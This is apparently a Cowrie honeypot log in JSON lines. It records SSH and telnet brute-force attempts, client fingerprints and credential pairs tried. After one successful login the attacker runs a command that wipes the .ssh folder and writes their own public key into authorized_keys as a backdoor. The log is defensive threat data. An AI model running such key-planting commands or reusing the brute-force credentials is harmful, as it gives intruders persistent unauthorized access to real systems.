{"eventid":"cowrie.session.connect","src_ip":"103.126.161.66","src_port":53500,"dst_ip":"10.17.0.5","dst_port":23,"session":"604074709f66","protocol":"telnet","message":"New connection: 103.126.161.66:53500 (10.17.0.5:23) [session: 604074709f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:03.878307Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":51343,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5375b65ee9","protocol":"ssh","message":"New connection: 223.197.186.7:51343 (159.203.135.109:22) [session: 3c5375b65ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:08.597193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:08.603237Z","src_ip":"223.197.186.7","session":"3c5375b65ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:08.831613Z","src_ip":"223.197.186.7","session":"3c5375b65ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:09.746312Z","src_ip":"223.197.186.7","session":"3c5375b65ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:10.966596Z","src_ip":"223.197.186.7","session":"3c5375b65ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49026,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f872ce318a6","protocol":"ssh","message":"New connection: 159.203.92.129:49026 (159.203.135.109:22) [session: 7f872ce318a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:25.963639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:26.017754Z","src_ip":"159.203.92.129","session":"7f872ce318a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:26.044348Z","src_ip":"159.203.92.129","session":"7f872ce318a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"iftop1441414asd","message":"login attempt [admin/iftop1441414asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:26.245843Z","src_ip":"159.203.92.129","session":"7f872ce318a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:27.299632Z","src_ip":"159.203.92.129","session":"7f872ce318a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":49804,"dst_ip":"159.203.135.109","dst_port":22,"session":"43805ad3de64","protocol":"ssh","message":"New connection: 103.172.20.218:49804 (159.203.135.109:22) [session: 43805ad3de64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:29.825753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:29.830580Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:30.078219Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0000","message":"login attempt [oracle/0000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:31.024044Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:31.525071Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:31.528490Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:31.532296Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:31.765850Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.268191Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.271864Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.505869Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.510076Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":49812,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6fd230b0ce9","protocol":"ssh","message":"New connection: 103.172.20.218:49812 (159.203.135.109:22) [session: e6fd230b0ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.732202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.737930Z","src_ip":"103.172.20.218","session":"e6fd230b0ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:32.974638Z","src_ip":"103.172.20.218","session":"e6fd230b0ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:33.922416Z","src_ip":"103.172.20.218","session":"e6fd230b0ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33971881866455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:34.151326Z","src_ip":"103.126.161.66","session":"cde5878dcc7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508992195129395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:34.157450Z","src_ip":"103.126.161.66","session":"21679d28c394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.272042274475098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:35.150199Z","src_ip":"103.126.161.66","session":"604074709f66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:35.155874Z","src_ip":"103.172.20.218","session":"e6fd230b0ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"a41ebc25371a","protocol":"ssh","message":"New connection: 103.172.20.218:49824 (159.203.135.109:22) [session: a41ebc25371a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:35.380594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:35.387756Z","src_ip":"103.172.20.218","session":"a41ebc25371a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:35.617734Z","src_ip":"103.172.20.218","session":"a41ebc25371a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:36.569758Z","src_ip":"103.172.20.218","session":"a41ebc25371a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:36.803946Z","src_ip":"103.172.20.218","session":"43805ad3de64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:36.809222Z","src_ip":"103.172.20.218","session":"a41ebc25371a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.126.161.66","src_port":39084,"dst_ip":"10.17.0.5","dst_port":23,"session":"5130ec54d31c","protocol":"telnet","message":"New connection: 103.126.161.66:39084 (10.17.0.5:23) [session: 5130ec54d31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:39.884308Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":51822,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f599aa568c","protocol":"ssh","message":"New connection: 45.78.208.179:51822 (159.203.135.109:22) [session: 65f599aa568c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:40.018481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:40.023589Z","src_ip":"45.78.208.179","session":"65f599aa568c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:40.259951Z","src_ip":"45.78.208.179","session":"65f599aa568c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"hello","message":"login attempt [test/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:41.235658Z","src_ip":"45.78.208.179","session":"65f599aa568c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.213.135","src_port":43696,"dst_ip":"159.203.135.109","dst_port":23,"session":"8514b1ad0f20","protocol":"telnet","message":"New connection: 103.253.213.135:43696 (159.203.135.109:23) [session: 8514b1ad0f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:42.220434Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:42.507691Z","src_ip":"45.78.208.179","session":"65f599aa568c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.126.161.66","src_port":40616,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0a1696cd02","protocol":"telnet","message":"New connection: 103.126.161.66:40616 (10.17.0.5:23) [session: 8c0a1696cd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:04.532511Z"}
